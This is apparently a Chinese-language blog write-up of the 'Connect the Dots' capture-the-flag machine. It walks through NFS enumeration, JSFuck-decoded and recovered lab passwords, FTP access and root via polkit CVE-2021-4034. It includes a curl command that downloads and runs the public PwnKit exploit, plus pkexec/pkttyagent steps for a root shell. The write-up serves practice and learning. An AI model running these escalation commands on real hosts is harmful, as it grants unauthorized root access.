Connect the Dots打靶记录

主机探测

ip为192.168.6.240

80 端口

目录遍历 下载了backups文件,是一个iso镜像,但是没有找到利用方式

nfs

通过rpcinfo命令来确定主机上是否运行或挂载了NFS服务 showmount(show mounted disk),显示NFS服务器的共享信息。

  • -d 显示已被NFS客户端加载的目录
  • -e 显示NFS服务器上所有的共享目录 此处可以看到家目录下有morris,说明有个用户叫morris 共享挂载,查看信息 发现有.ssh 尝试ssh登录,失败

JSFUCK解密获取密码

1
You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

前面web页面提示名字一个是m开头,一个是n开头,合理猜测是norris,22端口没开,ssh登录失败

FTP

匿名登录失败 尝试用之前获取到的用户名和密码,登录ftp,成功 将文件下载到本地查看。exifTool是一款功能强大且流行的命令行工具,用于读取、写入和编辑各种文件中的元数据信息。

1
hey norris, you've made this far. far far from heaven wanna see hell now? haha you surely missed me, didn't you? oh damn my battery is about to die and i am unable to find my charger so quickly leaving a hint in here before this system shuts down automatically. i am saving the gateway to my dungeon in a 'secretfile' which is publicly accessible.

提示secretfile 看了wp才得知7782是开放的ssh端口,之前扫描的时候也注意到有这个端口

vim -r编辑恢复文件

发现提示,获取morris的密码

1
blehguessme090

polkit提权

policykit是linux权限管理的机制。

权限提升漏洞(CVE-2021-4034)是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。

2009年5月至今发布的所有 Polkit 版本都会受到此漏洞的影响,而polkit预装在多个linux发行版上,大部分都受到了影响。

这里的提权思路是利用/usr/lib/policykit-1/polkit-agent-helper-1 的SUID权限,当启用一个新的会话时会去向Polkit申请,而 Polkit分配的SHELL就存在SUID权限,进而导致拿到ROOT权限的SHELL。

在一个临时的systemd范围内启动一个bash shell,systemd-run -t /bin/bash

  • systemd-run: 这是一个systemd的命令,用于在systemd管理的环境中运行一个指定的命令或任务。
  • -t: 表示在一个临时的systemd范围内运行指定的命令。
  • /bin/bash: 表示启动一个bash shell。

补充思路

Pwnkit - CVE-2021-4034提权

使用方式&exp

1
2
3
4
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

pkexec提权

pkexec也会触发polkit认证,通过pkexec来启动shell 显示错误,因为没有gui就无法连接,解决方案是开两个会话

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#第一步,在session1获取返回当前shell的pid
echo $$ 

#第二步,在session2中处理session1的进程
pkttyagent --process <pid of session1>

#第三步, 在session1中启动pkexec
pkexec "/bin/bash" 

#第四步,输入当前用户的密码

#第五步,执行如id等里面看是否获取了root权限

总结

1、需要继续熟练nfs共享挂载流程

  • rpcinfo确认服务-showmount确认共享目录-mount挂载

2、JSFUCK解密可以通过浏览器的console直接解出来

3、exiftool查看文件的元数据信息

4、未知的开放端口可能是熟悉的服务

5、获取到第一个用户的时候就可以尝试提权了,再去寻找第二个用户只不过是为了获取flag

6、积累到新的提权手段——polkit提权

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行